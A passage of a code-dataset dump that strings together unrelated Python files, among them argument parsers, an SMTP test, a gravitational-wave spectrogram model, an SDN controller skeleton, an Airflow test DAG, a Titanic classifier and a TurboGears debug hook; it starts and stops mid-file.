MenuArgParser(_BaseArgParser):\n \"\"\"\n Data class that reads and stores the Python arguments for GEONIS menu scripts.\n\n Simply instantiate this class in a menu-based Python script to get easy access to all arguments passed to it.\n \"\"\"\n\n def __init__(self, *param_names):\n super(MenuArgParser, self).__init__(*param_names)\n self._parse()\n\n @property\n def _mapping(self):\n return (\n _ArgMap(self._SCRIPT_PATH), # 0\n _ArgMap(self._WORKSPACE_PATH, required=True), # 1\n _ArgMap(self._DB_QUALIFIER), # 2\n _ArgMap(self._PROJECT_VARS, eval_arg, {}), # 3\n _ArgMap(self._PARAMETERS) # 4, 5, 6\n )\n\n\nclass FormArgParser(_BaseArgParser):\n \"\"\"\n Data class that reads and stores the Python arguments for GEONIS form scripts.\n\n Simply instantiate this class in a form-based Python script to get easy access to all arguments passed to it.\n\n Script argument values are cleaned before they are returned,\n which means that excessive single or double quotes will be removed.\n Furthermore, any \"#\" values (representing NoData placeholders) are replaced by ``None``.\n \"\"\"\n\n _TABLE_NAME = 'dataset name'\n _KEY_FIELD = 'dataset ID field'\n _ID_VALUE = 'dataset ID value'\n\n def __init__(self, *param_names):\n super(FormArgParser, self).__init__(*param_names)\n self._parse()\n\n @property\n def _mapping(self):\n return (\n _ArgMap(self._SCRIPT_PATH), # 0\n _ArgMap(self._WORKSPACE_PATH, required=True), # 1\n _ArgMap(self._DB_QUALIFIER), # 2\n _ArgMap(self._TABLE_NAME, required=True), # 3\n _ArgMap(self._KEY_FIELD, required=True), # 4\n _ArgMap(self._ID_VALUE, required=True), # 5\n _ArgMap(self._PROJECT_VARS, eval_arg, {}), # 6\n _ArgMap(self._PARAMETERS) # 7, 8, 9\n )\n\n @property\n def table(self):\n \"\"\"\n Table or feature class name to which the form script applies.\n\n :rtype: str\n \"\"\"\n return self._store.get(self._TABLE_NAME, _tu.EMPTY_STR)\n\n @property\n def key_field(self):\n \"\"\"\n Field name that holds the key value (ID) for the feature/row to which the form script applies.\n\n :rtype: str\n \"\"\"\n return self._store.get(self._KEY_FIELD, _tu.EMPTY_STR)\n\n @property\n def field_value(self):\n \"\"\"\n The value of the table key field name for the feature/row to which the form script applies.\n\n :rtype: str\n \"\"\"\n return self._store.get(self._ID_VALUE)\n","sub_path":"gntools/core/parsers.py","file_name":"parsers.py","file_ext":"py","file_size_in_byte":11301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"549657450","text":"# -*- coding: utf-8 -*-\n\nimport unittest\nfrom pprint import pprint\nimport contextlib\nfrom email import message_from_string\n\nfrom .utils import get_free_port, FakeSMTPServer, AsyncorePoller\n\nfrom fake_mail_client.mailer import SMTPClient\nfrom fake_mail_client.message import MessageFaker\n\nclass BaseMailerTestCase(unittest.TestCase):\n \n def setUp(self):\n unittest.TestCase.setUp(self)\n \n self.host, self.port = get_free_port()\n self.server = FakeSMTPServer((self.host, self.port), None)\n\n def assertMessageInServer(self, msg_id):\n \"\"\"\n message_from_string\n \"\"\"\n \n def assertSendResult(self, result):\n self.assertTrue(result[\"success\"], result[\"error\"])\n \n for cmd in [\"connect\", \"ehlo\", \"mail\", \"rcpt\", \"data\", \"quit\"]:\n self.assertTrue(cmd in result)\n \n self.assertEqual(result[\"connect\"][\"code\"], 220)\n self.assertEqual(result[\"ehlo\"][\"code\"], 250)\n self.assertEqual(result[\"mail\"][\"code\"], 250)\n for r in result[\"rcpt\"]:\n self.assertEqual(r[\"code\"], 250)\n self.assertEqual(result[\"data\"][\"code\"], 250)\n self.assertEqual(result[\"quit\"][\"code\"], 221)\n \n duration = 0\n for key, field in result.items():\n if key == \"rcpt\":\n for r in field:\n duration += r['duration']\n elif isinstance(field, dict) and 'duration' in field:\n duration += field['duration']\n \n self.assertEqual(duration, result[\"duration\"])\n\n @contextlib.contextmanager\n def start_server(self):\n try:\n self.async_poller = AsyncorePoller()\n self.async_poller.start()\n yield self.server\n except Exception as err:\n raise\n finally:\n self.server.close()\n self.async_poller.stop()\n\nclass MailerTestCase(BaseMailerTestCase):\n \n # nosetests -s -v fake_mail_client.tests.test_mailer:MailerTestCase\n\n\n def test_sendmail(self):\n \n with self.start_server() as server:\n \n client = SMTPClient(host=self.host, port=self.port)\n msg = MessageFaker().create_message()\n #pprint(msg)\n result = client.send(msg)\n #pprint(result)\n \n #pprint(server._messages)\n self.assertSendResult(result)\n \n self.assertEqual(len(server._messages), 1)\n server_msg = server._messages[0]\n self.assertEqual(server_msg[\"mailfrom\"], msg[\"from\"]) \n self.assertEqual(server_msg[\"rcpttos\"], msg[\"tos\"]) \n\n \n\n\n","sub_path":"tests/test_mailer.py","file_name":"test_mailer.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"243460673","text":"import sys\nimport time\nimport numpy as np\nfrom scipy.signal import stft\nfrom scipy.special import erf, erfc\nfrom scipy.signal.windows import hann\n\nclass SPAwaveform():\n\n def __init__(self, fgw, fdot, duration, fs, amp,\n tsegments, tstride):\n\n \"\"\"\n Parameters\n ----------------------\n fgw : float\n initial frequency of gravitational wave\n fdot : float\n intrinsic frequency evolution\n duration : float in [sec]\n signal duration\n fs : float in [Hz]\n sampling frequency\n amp : float\n amplitude of gravitational wave\n tsegments : float in [sec]\n the segment length of each STFT\n tstride : float in [sec]\n the stride width of window\n \"\"\"\n \n\n # signal properties\n self.fgw = fgw\n self.fdot = fdot\n self.T = duration # in [sec]\n self.fs = fs\n self.dt = 1.0 / self.fs\n self.fmax = fs / 2.0\n self.time = np.arange(0.0, self.T, self.dt)\n self.amp = amp\n\n # STFT parameters\n self.tseg = tsegments\n self.nseg = int(self.tseg * self.fs)\n self.tstride = tstride\n self.nstride = int(self.tstride * self.fs)\n\n self.df = 1.0 / self.tseg\n self.Nt = int(self.T*self.fs / (self.nseg - self.nstride) - 1)\n self.Nf = int(self.fmax / self.df)\n self.freqbins = np.arange(0.0, self.Nf) * self.df\n self.timebins = np.arange(0.0, self.Nt) * self.tstride\n print(\"Nt:{}, Nf:{}, freqbins_num:{}\".format(self.Nt, self.Nf, self.freqbins.shape))\n\n # theoretical ft-relation\n self.freq_of_time = lambda t: self.fgw + self.fdot * t\n\n # theoretical d^2Psi/dt^2\n self.Psi_dt2 = lambda t: 2.0*np.pi*self.fdot\n\n\n\n def _get_amp_onetimebin(self, t0):\n\n t1 = self.tseg + t0\n tseg = np.arange(t0, t1+self.dt, self.dt)\n tmid = (t0 + t1) / 2.0\n # frequency at tmid\n fmid = self.freq_of_time(tmid)\n\n # search for frequency being closest with fmid\n kf = np.argmin(abs(self.freqbins - fmid))\n\n # 2nd time derivative at tmid (This appears in SPAwaveform)\n Psi2dot = self.Psi_dt2(tmid)\n\n return kf, fmid, Psi2dot\n\n \n\n def get_spectrogram(self):\n\n Zapprox = np.zeros((self.Nf, self.Nt))\n\n for i in range(self.Nt):\n t0 = i * self.tstride\n kf, fmid, Psi2dot = self._get_amp_onetimebin(t0)\n erfc_num = erfc( np.sqrt(abs(Psi2dot)/2.0) * (self.tstride/2.0) )\n erf_num = erf( np.sqrt(abs(Psi2dot)/2.0) * (-self.tstride/2.0) )\n Zapprox[kf, i] = self.amp * np.sqrt( np.pi / 2.0 / abs(Psi2dot)) * (1.0 - erfc_num - erf_num) * 0.5\n\n return self.freqbins, self.timebins, Zapprox\n\n\n \n\n\n\n def _kludge_waveform(self):\n\n h = np.sin(2.0*np.pi*self.fgw*self.time + np.pi*self.fdot*(self.time**2.0))\n return h\n\n\n def stft_data(self):\n\n hp = self._kludge_waveform()\n window = 'hann'\n f, t, Zxx = stft(hp, self.fs, nperseg=self.nseg, noverlap=self.nstride, window=window)\n\n norm = np.sum(hann(self.nseg)) / self.fs\n Znorm = Zxx * norm\n\n Znorm = Znorm[:,1:-1]\n t = t[1:-1]\n \n\n return f, t, abs(Znorm)\n \n\n\nif __name__ == '__main__':\n\n import matplotlib.pyplot as plt\n\n fgw = 256.0\n waveform_params = {'fgw': fgw,\n 'fdot': 1e-7,\n 'duration': 2**15,\n 'fs': 1024,\n 'amp': 1.0,\n 'tsegments': 2**10,\n 'tstride': 2**9}\n\n spa_waveform = SPAwaveform(**waveform_params)\n\n # approximated spectrogram \n tstart = time.time()\n f, t, Zxx = spa_waveform.get_spectrogram()\n elapsed_time = time.time() - tstart\n print(\"elapsed time {}[sec]\".format(elapsed_time))\n\n # true spectrogram\n tstart = time.time()\n f2, t2, Znorm = spa_waveform.stft_data()\n elapsed_time = time.time() - tstart\n print(\"elapsed time {}[sec]\".format(elapsed_time))\n \n ft_rel = spa_waveform.freq_of_time(t)\n\n # comparison of max power\n print(\"max power of mockdata: {}\".format(Zxx.max()))\n print(\"max power of truedata: {}\".format(Znorm.max()))\n\n if sys.argv[1] == 'plot':\n\n delta_f = 0.01\n plt.figure()\n plt.pcolormesh(t, f, Zxx, cmap='gray', vmin=0.0, vmax=Zxx.max())\n #plt.plot(t, ft_rel, 'r')\n plt.colorbar()\n plt.ylim([fgw-delta_f, fgw+delta_f])\n\n plt.figure()\n plt.pcolormesh(t2, f2, Znorm, cmap='gray', vmin=0.0, vmax=Znorm.max())\n #plt.plot(t, ft_rel, 'r')\n plt.colorbar()\n plt.ylim([fgw-delta_f, fgw+delta_f])\n\n plt.show()\n\n","sub_path":"pysrc/Waveform/SPAwaveform.py","file_name":"SPAwaveform.py","file_ext":"py","file_size_in_byte":4791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"64333098","text":"from ryu.base import app_manager\r\nfrom ryu.ofproto import ofproto_v1_3, ether\r\nfrom ryu.controller.handler import set_ev_cls\r\nfrom ryu.controller import ofp_event\r\nfrom ryu.topology import event\r\nfrom ryu.topology.api import get_switch, get_link\r\nfrom ryu.lib import hub\r\nfrom ryu.controller.handler import MAIN_DISPATCHER, CONFIG_DISPATCHER\r\nfrom ryu.lib.packet import packet, ethernet, arp, lldp, icmpv6\r\n#\r\n# NetworkX\r\n# \r\n\r\nclass NetworkX(app_manager.RyuApp):\r\n OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]\r\n\r\n ##############################################################\r\n #\r\n def __init__(self, *args, **kwargs):\r\n super(NetworkX, self).__init__(*args, **kwargs)\r\n self.network_changed_thread = hub.spawn_after(1,None)\r\n #\r\n # NetworkX\r\n # \r\n\r\n ##############################################################\r\n # Handle PACKET-IN message\r\n #\r\n @set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)\r\n def packet_in_handler(self, ev):\r\n msg = ev.msg\r\n dp = msg.datapath\r\n\r\n pkt = packet.Packet(msg.data)\r\n etherh = pkt.get_protocol(ethernet.ethernet) # Ethernet header\r\n smac = etherh.src # source MAC address\r\n dmac = etherh.dst # destination MAC address\r\n pin = msg.match['in_port'] # port in\r\n dpid = dp.id # datapath id\r\n \r\n # ****\r\n # Ignore LLDP, ICMPv6 packets\r\n if pkt.get_protocol(lldp.lldp) or pkt.get_protocol(icmpv6.icmpv6):\r\n return\r\n \r\n print(\"\\nOFC receives Packet-In message from Datapath ID of {}\".format(dpid))\r\n\r\n # Learn source MAC address and port\r\n # NetworkX\r\n # \r\n \r\n print(\"\\n - DATA info: packet from {} to {}\".format(smac,dmac))\r\n\r\n # Find best route\r\n # NetworkX\r\n # \r\n\r\n\r\n\r\n ##############################################################\r\n # Network Changed:\r\n #######################################\r\n # Switch is added\r\n @set_ev_cls(event.EventSwitchEnter)\r\n def handler_switch_enter(self, ev):\r\n print(\"Switch entering (Datapath ID = {}) ---------------\".format(ev.switch.dp.id))\r\n hub.kill(self.network_changed_thread)\r\n self.network_changed_thread = hub.spawn_after(1,self.network_changed)\r\n \r\n #######################################\r\n # Switch is removed/unavailable\r\n @set_ev_cls(event.EventSwitchLeave)\r\n def handler_switch_leave(self, ev):\r\n print(\"Switch leaving (Datapath ID = {}) ---------------\".format(ev.switch.dp.id))\r\n hub.kill(self.network_changed_thread)\r\n self.network_changed_thread = hub.spawn_after(1,self.network_changed)\r\n\r\n #######################################\r\n # Update the topology\r\n def network_changed(self):\r\n print(\"\\nNetwork is changed-------------------------------\")\r\n self.topo_raw_links = get_link(self, None)\r\n self.BuildTopology()\r\n\r\n def BuildTopology(self):\r\n # NetworkX\r\n # \r\n\r\n for l in self.topo_raw_links:\r\n _dpid_src = l.src.dpid\r\n _dpid_dst = l.dst.dpid\r\n _port_src = l.src.port_no\r\n _port_dst = l.dst.port_no\r\n \r\n # NetworkX\r\n # \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n ##############################################################\r\n # Add action for \"missing flow\"\r\n #\r\n @set_ev_cls(ofp_event.EventOFPSwitchFeatures, CONFIG_DISPATCHER)\r\n def action_for_missing_flow(self, ev):\r\n msg = ev.msg\r\n dp = msg.datapath\r\n ofp = dp.ofproto\r\n ofp_parser = dp.ofproto_parser\r\n\r\n actions = [ofp_parser.OFPActionOutput(ofp.OFPP_CONTROLLER, ofp.OFPCML_NO_BUFFER)]\r\n instructions = [ofp_parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, actions)]\r\n self.flow_add(dp, 0, 0, None, instructions)\r\n\r\n\r\n ##############################################################\r\n # Flow add/remove functions\r\n def flow_add(self, dp, idle_timeout, priority, match, instructions):\r\n ofp = dp.ofproto\r\n ofp_parser = dp.ofproto_parser\r\n mod = ofp_parser.OFPFlowMod(datapath=dp, command=ofp.OFPFC_ADD, \r\n idle_timeout=idle_timeout, priority=priority, \r\n \r\n match=match, instructions=instructions)\r\n if priority==0:\r\n in_port = \"Any\"\r\n eth_dst = \"Any\"\r\n else:\r\n in_port = match[\"in_port\"]\r\n eth_dst = match[\"eth_dst\"]\r\n #\r\n print(\" + FlowMod (ADD) of Datapath ID={}, Match: (Dst. MAC={}, PortIn={}), Action: (PortOut={})\".format(\r\n dp.id, eth_dst, in_port, instructions[0].actions[0].port))\r\n\r\n dp.send_msg(mod)\r\n\r\n def flow_rem(self, dp, match):\r\n ofp = dp.ofproto\r\n ofp_parser = dp.ofproto_parser\r\n mod = ofp_parser.OFPFlowMod(datapath=dp, command=ofp.OFPFC_DELETE, out_port=ofp.OFPP_ANY, out_group=ofp.OFPP_ANY, match=match)\r\n print(\" + FlowMod (REMOVE) of Datapath ID={}, Match: (Dst. MAC={})\".format(dp.id, match[\"eth_dst\"]))\r\n dp.send_msg(mod)","sub_path":"Chap5-Student-pkg/Chap5-Student-pkg/ryu/NetworkX.py","file_name":"NetworkX.py","file_ext":"py","file_size_in_byte":5446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"267104799","text":"from airflow import DAG\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.operators.python_operator import PythonOperator\n\ndefault_args = {\"owner\": \"tester\", \"start_date\": \"1/1/2020\", \"retries\": 0}\n\ndag = DAG(\n \"db-log-tester\",\n default_args=default_args,\n description=\"Test base airflow db logger\",\n schedule_interval=None,\n catchup=False,\n)\n\nnamespace = None\n\nenvs = {\n \"PASS_ARG\": \"a test\",\n}\n\nbash_command = \"\"\"\necho \"This is a bash command. Sleeping 1\"\nsleep 1\necho \"Done\"\n\"\"\"\n\nwith dag:\n BashOperator(task_id=\"test-bash-success\", bash_command=bash_command)\n BashOperator(task_id=\"test-bash-fail\", bash_command=bash_command + \"\\nexit 22\")\n\n def run_python(do_success=True):\n if not do_success:\n raise Exception(\"Some kinda error\")\n\n PythonOperator(task_id=\"test-python-success\", python_callable=lambda: run_python(True))\n PythonOperator(task_id=\"test-python-fail\", python_callable=lambda: run_python(False))\n\n\nif __name__ == \"__main__\":\n dag.clear(reset_dag_runs=True)\n dag.run()\n","sub_path":"tests/dags/testdag.py","file_name":"testdag.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"247068500","text":"class Solution:\n def addSol(self, input, king):\n input.append(king)\n input.sort()\n index = input.index(king)\n sol = []\n if index > 0:\n sol.append(input[index - 1])\n if len(input) - 1 > index:\n sol.append(input[index + 1])\n return sol\n\n def queensAttacktheKing(self, queens, king):\n\n row, col, diagleft, diagright = self.checkColRowDiag(queens, king)\n\n sol = self.addSol(row, king)\n sol += self.addSol(col, king)\n sol += self.addSol(diagleft, king)\n sol += self.addSol(diagright, king)\n\n return sorted(sol)\n\n def checkColRowDiag(self, queens, king):\n mini = min(king)\n row = []\n col = []\n diagleft = []\n diagright = []\n for queen in queens:\n if queen[0] == king[0]:\n row.append(queen)\n elif queen[1] == king[1]:\n col.append(queen)\n elif [queen[0]-min(queen), queen[1]-min(queen)] == [king[0]-mini, king[1]-mini]:\n diagleft.append(queen)\n elif [[7, sum(queen)][sum(queen) < 8], sum(queen)-[7, sum(queen)][sum(queen) < 8]] == [[7, sum(king)][sum(king) < 8], sum(king) - [7, sum(king)][sum(king) < 8]]:\n diagright.append(queen)\n return row, col, diagleft, diagright\n\n\nprint(Solution().queensAttacktheKing([[5, 6], [7, 7], [2, 1], [0, 7], [1, 6], [5, 1], [3, 7], [0, 3], [4, 0], [1, 2], [6, 3], [5, 0], [0, 4], [2, 2], [1, 1], [\n 6, 4], [5, 4], [0, 0], [2, 6], [4, 5], [5, 2], [1, 4], [7, 5], [2, 3], [0, 5], [4, 2], [1, 0], [2, 7], [0, 1], [4, 6], [6, 1], [0, 6], [4, 3], [1, 7]], [3, 4]))\n","sub_path":"Leetcode/Fini/1222. Queens That Can Attack the King.py","file_name":"1222. Queens That Can Attack the King.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"492935474","text":"\"\"\"\n@author Wildo Monges\nThis program resolves the Titanic problem, competition posted by Kaggle\nNote:\n Use python 3.5\n Execute running from terminal python titanic.py\nResult:\n In the terminal will display passengerId and Survived columns\n\"\"\"\nimport pandas as pd\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier, GradientBoostingClassifier\n\n# Load training and testing datasets\ntitanic_train = pd.read_csv('train.csv', index_col=None)\ntitanic_test = pd.read_csv('test.csv', index_col=None)\n\n# Check the head and the mean to interpret the data\nprint(titanic_train.head())\nprint('Group by Survived')\nprint(titanic_train['Survived'].mean())\nprint('Group by Pclass')\nprint(titanic_train.groupby('Pclass').mean())\nprint('Group by Pclass and Age')\nprint(titanic_train.groupby(['Pclass', 'Sex']).mean())\nprint('Group by Age, take the average of the age')\nage_avg = round(titanic_train['Age'].mean(), 0)\nprint(age_avg)\n\nprint(titanic_train.count())\n\n# Check if we have the same amount of rows for each column\nprint(titanic_train.count())\n\n\n# Function to preproces the dataset read\ndef preprocess_titanic_data(data):\n processed_data = data.copy()\n encoder = preprocessing.LabelEncoder()\n processed_data.Sex = encoder.fit_transform(processed_data.Sex)\n processed_data.Embarked = encoder.fit_transform(processed_data.Embarked.fillna('0'))\n processed_data = processed_data.drop(['Name', 'Ticket', 'Cabin'], axis=1)\n\n embarket_avg = round(processed_data.Embarked.mean(), 0)\n processed_data.Embarked = processed_data.Embarked.fillna(embarket_avg)\n\n processed_data.Age = processed_data.Age.fillna(age_avg)\n\n fare_avg = round(processed_data.Fare.mean(), 3)\n processed_data.Fare = processed_data.Fare.fillna(fare_avg)\n\n return processed_data\n\n\nprocessed_data_train = preprocess_titanic_data(titanic_train)\n# Counting\nprint(processed_data_train.count())\n\n# Get inputs(X) and outputs(y)\ny = processed_data_train['Survived'].values\nX = processed_data_train.drop(['Survived'], axis=1).values\n\n# Run a cross validation \nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20)\nprint('X Train')\nprint(X_train)\nprint('y train')\nprint(y_train)\n# Compare models\nmodels = []\nmodels.append(('LR', LogisticRegression()))\nmodels.append(('LDA', LinearDiscriminantAnalysis()))\nmodels.append(('KNN', KNeighborsClassifier()))\nmodels.append(('CART', DecisionTreeClassifier()))\nmodels.append(('NB', GaussianNB()))\nmodels.append(('SVM', SVC()))\nmodels.append(('RFC', RandomForestClassifier()))\nmodels.append(('ABC', AdaBoostClassifier()))\nmodels.append(('GBC', GradientBoostingClassifier()))\n\n# evaluate each model in turn\nresults = []\nnames = []\nfor name, model in models:\n model.fit(X_train, y_train)\n score = model.score(X_test, y_test)\n predictions = model.predict(X_test)\n msg = \"%s: MS (%f), AS(%f) \" % (name, score, accuracy_score(y_test, predictions))\n print(msg)\n\n# prepare test data\ntitanic_validation = preprocess_titanic_data(titanic_test)\nprint(\"Check the amount of data by column\")\nprint(titanic_validation.count())\n\n# Select GBC because it has the better accuracy score\nclassifier = RandomForestClassifier()\nclassifier.fit(X_train, y_train)\npredictions = classifier.predict(titanic_validation)\n\ntitanic_validation = titanic_validation.as_matrix(columns=['PassengerId'])\nresult = [['Survived', 'PassengerId']]\nrow = 0\npassenger_index = 0\nstop = len(titanic_validation)\nwhile row < stop:\n result.append([predictions[row], titanic_validation[row][passenger_index]])\n row = row + 1\n\nprint('Printing result')\nfor row in range(len(result)):\n print(\"%s \\t\\t\\t %s\" % (result[row][0], result[row][1]))\n\nprint('Done!')\n","sub_path":"titanic_using_sklearn/titanic.py","file_name":"titanic.py","file_ext":"py","file_size_in_byte":4114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"508171227","text":"import json\n\ntry:\n import thread\nexcept ImportError:\n import _thread as thread\n\nfrom django.http import HttpResponse, HttpResponseBadRequest\nfrom django.shortcuts import get_object_or_404\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .models import Collection, Draft\n\n@csrf_exempt\ndef endpoint(request, uuid):\n \"\"\"\n Expected payload:\n\n { \n \"id\": your_document_id,\n \"name\": \"The Name of your Document\",\n \"content\": \"The plain-text markdown of your document\",\n \"content_html\": \"Your document rendered as HTML\",\n \"user\": {\n id: 1, \n email: 'usersemail@example.com'\n },\n \"created_at\": \"2013-05-23T14:11:54-05:00\",\n \"updated_at\": \"2013-05-23T14:11:58-05:00\"\n }\n \"\"\"\n collection = get_object_or_404(Collection, uuid=uuid)\n\n try:\n data = json.loads(request.POST.get(\"payload\"))\n except Exception:\n return HttpResponseBadRequest(\"Something is wrong with your post.\")\n\n try:\n parameters = dict(\n name = data[\"name\"],\n content = data[\"content\"],\n content_html = data[\"content_html\"],\n draftin_user_id = data[\"user\"][\"id\"],\n draftin_user_email = data[\"user\"][\"email\"],\n created_at = data[\"created_at\"],\n updated_at = data[\"updated_at\"],\n )\n defaults = {\"published\": collection.auto_publish}\n defaults.update(parameters)\n except KeyError as e:\n return HttpResponseBadRequest(\"%s is required\" % e.message)\n\n draft, created = Draft.objects.get_or_create(\n draft_id=data[\"id\"],\n collection=collection,\n defaults=defaults)\n\n if not created:\n for key, value in parameters.items():\n setattr(draft, key, value)\n draft.save()\n\n if \"https://draftin.com:443/images/\" in draft.content:\n thread.start_new_thread(draft.download_images, ())\n\n return HttpResponse(\"Thanks!\")\n\n","sub_path":"draftin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"179581240","text":"import re, operator\nclass Kwic:\n def __init__(self, filename):\n self.filename=filename\n self.index=self.build_index()\n\n\n def get_keywords(self, line, doc):\n keywords = re.split('\\s',line.strip())\n index_per_doc = []\n for i in range(0,len(keywords)):\n if len(keywords[i])>=3 and keywords[i].lower() != 'the' and keywords[i].lower() != 'and':\n index_per_doc.append((doc, keywords[i], keywords[0:i+1],keywords[i+1:len(keywords)]))\n return index_per_doc\n\n def sort_keywords(self):\n return self.index\n def build_index(self):\n with open(self.filename) as file:\n lines = file.read().split('\\n')\n index = sum([self.get_keywords(lines[i],i) for i in range(0,len(lines))],[])\n return sorted(index, key= lambda a : operator.itemgetter(1, a).item.lower())\n\n def __str__(self):\n output=[]\n for (doc, keyword, first, second) in self.index:\n output.append(\"{0:<5} {1:>40.33} {2:<40.40}\".format(doc,' '.join(first),' '.join(second)))\n return \"{0}\".format('\\n'.join(output))\n\n\nobj = Kwic(\"titles\")\nprint(\"{0}\".format(obj))\n","sub_path":"kwic.py","file_name":"kwic.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"468976755","text":"import socket\n\ndef TCPrcv():\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect((\"127.0.0.1\", 5080))\n while True:\n data = sock.recv(1024)\n #print(len(data))\n if len(data.decode('UTF')) == 0:\n continue\n sock.close()\n else:\n print(data)\n sock.close()\n TCPrcv()\n\nTCPrcv()","sub_path":"client-app/client2.py","file_name":"client2.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"431403193","text":"import logging\nimport threading\nimport time\nimport weakref\n\nfrom tg import config, request, app_globals\n\ntry:\n # Verify that we have hooks with disconnect feature,\n # which is only available since TG2.3.5, otherwise\n # use app_config to register/disconnect hooks.\n from tg import hooks as tg_hooks\n if not hasattr(tg_hooks, 'disconnect'):\n tg_hooks = None\nexcept ImportError:\n tg_hooks = None\n\ntry:\n # TG >= 2.4\n from tg import ApplicationConfigurator\nexcept ImportError:\n # TG < 2.4\n class ApplicationConfigurator:\n pass\n\ntry:\n from sqlalchemy import event\n from sqlalchemy.engine.base import Engine\n has_sqla = True\nexcept ImportError:\n has_sqla = False\n\nlog = logging.getLogger('tgext.debug')\nlock = threading.Lock()\n\n\nclass Debug():\n def __init__(self, app_config, debugger):\n self.app_config = app_config\n self.debugger = debugger\n\n def _register_hook(self, hook_name, handler):\n if hook_name == 'startup':\n handler()\n return\n\n if tg_hooks is None:\n # 2.1+\n self.app_config.register_hook(hook_name, handler)\n elif hasattr(tg_hooks, 'wrap_controller'):\n # 2.3+\n if hook_name == 'controller_wrapper':\n def _accept_decoration(decoration, controller):\n return handler(controller)\n tg_hooks.wrap_controller(_accept_decoration)\n else:\n tg_hooks.register(hook_name, handler)\n else:\n # 2.4+\n if hook_name == 'controller_wrapper':\n from tg import ApplicationConfigurator\n dispatch = ApplicationConfigurator.current().get_component('dispatch')\n if dispatch is None:\n raise RuntimeError(\n 'TurboGears application configured without dispatching')\n dispatch.register_controller_wrapper(handler)\n else:\n tg_hooks.register(hook_name, handler)\n\n def _hook_sqlalchemy(self):\n\n def _before_cursor_execute(conn, cursor, stmt, params, context, execmany):\n setattr(conn, '_tgextdebug_start_timer', time.time())\n\n def _after_cursor_execute(conn, cursor, stmt, params, context, execmany):\n\n stop_timer = time.time()\n try:\n req = request._current_obj()\n except:\n req = None\n\n if req is not None:\n with lock:\n engines = getattr(\n app_globals, '_tgextdebug_sqla_engines', {})\n engines[id(conn.engine)] = weakref.ref(conn.engine)\n setattr(app_globals, '_tgextdebug_sqla_engines', engines)\n queries = getattr(req, '_tgextdebug_sqla_queries', [])\n queries.append({\n 'engine_id': id(conn.engine),\n 'duration': (stop_timer - conn._tgextdebug_start_timer) * 1000,\n 'statement': stmt,\n 'parameters': params,\n 'context': context\n })\n req._tgextdebug_sqla_queries = queries\n\n delattr(conn, '_tgextdebug_start_timer')\n\n def _enable_sqlalchemy():\n log.info('Enabling debug SQLAlchemy queries')\n event.listen(Engine, \"before_cursor_execute\",\n _before_cursor_execute)\n event.listen(Engine, \"after_cursor_execute\", _after_cursor_execute)\n\n self._register_hook(\"startup\", _enable_sqlalchemy)\n\n def _disconnect_hook(self, hook_name, handler):\n if tg_hooks is None:\n self.app_config.hooks[hook_name].remove(handler)\n else:\n tg_hooks.disconnect(hook_name, handler)\n\n def _call_debug(self, response):\n debug_handler = getattr(self.debugger, 'handler', None)\n\n if debug_handler:\n queries = []\n if hasattr(request, '_tgextdebug_sqla_queries'):\n queries = getattr(request, '_tgextdebug_sqla_queries')\n # delattr(request, '_tgextdebug_sqla_queries')\n try:\n log.debug(\"%s %r QUERIES=%s\" %\n (request.method, request.url, len(queries)))\n debug_handler(request, queries)\n except:\n log.exception(\"Error while call debug_handler\")\n\n def __call__(self, configurator=None, conf=None):\n\n # # get from config\n # enable_sqla = True\n\n if has_sqla:\n self._hook_sqlalchemy()\n\n self._register_hook('after_render', self._call_debug)\n\n\ndef enable_debug(app_config, debugger):\n if isinstance(app_config, ApplicationConfigurator):\n tg_hooks.register('initialized_config', Debug(app_config, debugger))\n else:\n if tg_hooks is None:\n app_config.register_hook('startup', Debug(app_config, debugger))\n else:\n tg_hooks.register('startup', Debug(app_config, debugger))\n","sub_path":"tgext/debug/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"412922551","text":"import openpyxl\nfile = 'C:/Users/InterTicket/OneDrive/Interticket_anyagok/tesztesetek/story_2013.xlsx'\nfile2 = 'C:/Users/InterTicket/OneDrive/Interticket_anyagok/tesztesetek/tranzakcio_ido.xlsx'\nwb = openpyxl.load_workbook(filename=file)\n\nelsosor = 1\n# Melyik sheet-et akarunk használni\nws = wb.worksheets[1]\nws1 = wb.worksheets[0]\nszoveg0 = ws.cell(1,2).value\n\n# Hova szeretnék az eredmenyt\neredemenyoszlop = 6\neredmenysummary = 